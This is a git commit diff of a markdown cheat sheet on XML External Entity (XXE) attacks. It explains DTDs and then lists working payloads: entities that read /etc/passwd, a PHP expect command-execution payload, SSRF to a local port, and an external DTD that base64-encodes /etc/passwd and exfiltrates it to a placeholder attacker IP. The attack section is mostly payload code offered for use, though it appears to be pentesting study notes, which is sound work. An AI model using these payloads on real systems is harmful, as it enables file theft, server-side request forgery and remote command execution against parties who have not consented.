added information

This commit is contained in:
gurkenhabicht 2024-06-04 21:03:50 +02:00
parent 60ae1f1993
commit 83d452c487
1 changed files with 72 additions and 10 deletions

View File

@ -1,20 +1,39 @@
# XML External Entity (XXE) # XML External Entity (XXE)
An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution. An XML External Entity (XXE) attack is a vulnerability that abuses features of
XML parsers/data. It often allows an attacker to interact with any backend or
external systems that the application itself can access and can allow the
attacker to read the file on that system. They can also cause Denial of Service
(DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF)
inducing the web application to make requests to other applications. XXE may
even enable port scanning and lead to remote code execution.
There are two types of XXE attacks: in-band and out-of-band (OOB-XXE). There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).
1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.
2. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server. 1. An in-band XXE attack is the one in which the attacker can receive an
immediate response to the XXE payload.
2. out-of-band XXE attacks (also called blind XXE), there is no immediate
response from the web application and attacker has to reflect the output of
their XXE payload to some other file or their own server.
## Document Type Definition (DTD) ## Document Type Definition (DTD)
A DTD defines the structure and the legal elements and attributes of an XML document. A DTD defines the structure and the legal elements and attributes of an XML document.
DTD are vulnerable depending on the parser used for parsing the enitities, e.g.
DOM parser.
* Example file content of `note.dtd` Example file content of `note.dtd` is the following.
```
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> ```xml
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
``` ```
* !DOCTYPE note - Defines a root element of the document named note * !DOCTYPE note - Defines a root element of the document named note
* !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body" * !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
* !ELEMENT to - Defines the `to` element to be of type "#PCDATA" * !ELEMENT to - Defines the `to` element to be of type "#PCDATA"
@ -22,10 +41,10 @@ A DTD defines the structure and the legal elements and attributes of an XML docu
* !ELEMENT heading - Defines the `heading` element to be of type "#PCDATA" * !ELEMENT heading - Defines the `heading` element to be of type "#PCDATA"
* !ELEMENT body - Defines the `body` element to be of type "#PCDATA" * !ELEMENT body - Defines the `body` element to be of type "#PCDATA"
NOTE: #PCDATA means parseable character data. NOTE: #PCDATA means parseable character data.
* Resulting XML doc follows * Resulting XML doc follows
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd"> <!DOCTYPE note SYSTEM "note.dtd">
@ -39,7 +58,8 @@ A DTD defines the structure and the legal elements and attributes of an XML docu
## Replacing XML content ## Replacing XML content
* Name in the example Replace the name in the following example.
```xml ```xml
<!DOCTYPE replace [<!ENTITY name "feast"> ]> <!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo> <userInfo>
@ -47,7 +67,9 @@ A DTD defines the structure and the legal elements and attributes of an XML docu
<lastName>&name;</lastName> <lastName>&name;</lastName>
</userInfo> </userInfo>
``` ```
* System call inside entity
System call inside entity in the following example.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]> <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
@ -58,13 +80,15 @@ A DTD defines the structure and the legal elements and attributes of an XML docu
<password>12345</password> <password>12345</password>
</root> </root>
``` ```
```xml ```xml
<?xml version="1.0"?> <?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root> <root>&read;</root>
``` ```
* PHP expect using syscalls PHP expect using syscalls looks like the following example.
```xml ```xml
<?xml version="1.0"?> <?xml version="1.0"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!DOCTYPE foo [ <!ELEMENT foo ANY >
@ -75,6 +99,44 @@ A DTD defines the structure and the legal elements and attributes of an XML docu
</root> </root>
``` ```
An example of SSRF using XXE follows.
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<root>
<email>&xxe;</email>
<password>12345</password>
</root>
```
### Upload External DTD File
An external entity which is a reference to a DTD in another file can be
set as well to upload a payload indirectly.
```xml
<?xml version="1.0"?>
<!DOCTYPE upload SYSTEM 'http://example.com/external.dtd'>]>
<root>&exfil;</root>
```
The payload which would be resource `external.dtd` may look like the following example.
```xml
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://$ATTACKER-IP/?res=%cmd;'>">
%oobxxe;
```
## Notes
Use URL/entity encoding for data that should be interpreted as a string literal
completely, e.g. `&amp;` or `&#38`.
## Tools ## Tools
* [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe) * [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe)